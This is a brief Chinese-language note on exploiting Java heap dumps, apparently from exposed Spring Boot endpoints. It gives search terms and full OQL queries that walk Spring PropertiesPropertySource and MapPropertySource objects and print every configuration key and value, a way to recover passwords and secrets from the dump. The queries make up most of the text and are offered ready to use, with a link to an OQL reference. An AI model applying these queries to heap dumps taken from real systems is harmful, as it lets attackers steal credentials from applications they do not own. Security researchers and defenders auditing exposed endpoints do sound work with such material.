heapdump利用

heapdump利用

工具

利用方法

方法1

搜索：

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org.springframework.core.env.PropertiesPropertySource

org.springframework.core.env.MapPropertySource

image-20220129104128421

方法2 OQL

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select s.key.toString(),s.value.toString() from java.util.Hashtable$Entry s
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```



```sql
select map(heap.objects('org.springframework.core.env.PropertiesPropertySource'),
    function (it) {
        var res = '';
        var source = it.source;
        var table = source.table;
        if (table != null) {
            for(var i=0; i<length(table); i++){
                var hashtable = table[i];
                if (hashtable != null) {
                    res += toHtml(hashtable.key.toString());
                    res += ' -> ';
                    res += toHtml(hashtable.value.toString());
                    res += '<br>';
                }
            }
        }

        return res;
    }
 )

image-20220129112848205

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select map(heap.objects('org.springframework.core.env.MapPropertySource'),
    function (it) {
        var res = '';
        var source = it.source;
        var type = toHtml(source);
        if(type.indexOf('HashMap')>-1){
            var head = source.head;
            while(head != null) {
                res += toHtml(head.key.toString());
                res += ' -> ';
                res += toHtml(head.value.toString());
                res += '<br>';
                head = head.after
            }
        }else if(type.indexOf('SingletonMap') > -1){
            res += toHtml(source.k.toString());
            res += ' -> ';
            res += toHtml(source.v.toString());
            res += '<br>';
        }else if (type.indexOf('Properties') > -1){
            var table = source.table;
            if (table != null) {
                for(var i=0; i<length(table); i++){
                    var item = table[i];
                    if (item != null) {
                        res += toHtml(item.key.toString());
                        res += ' -> ';
                        res += toHtml(item.value.toString());
                        res += '<br>';
                    }
                }
            }

        }else{
            return source
        }
        

        return res;
    }
 )

JVM 对象查询语言（OQL）

https://blog.csdn.net/pange1991/article/details/82023771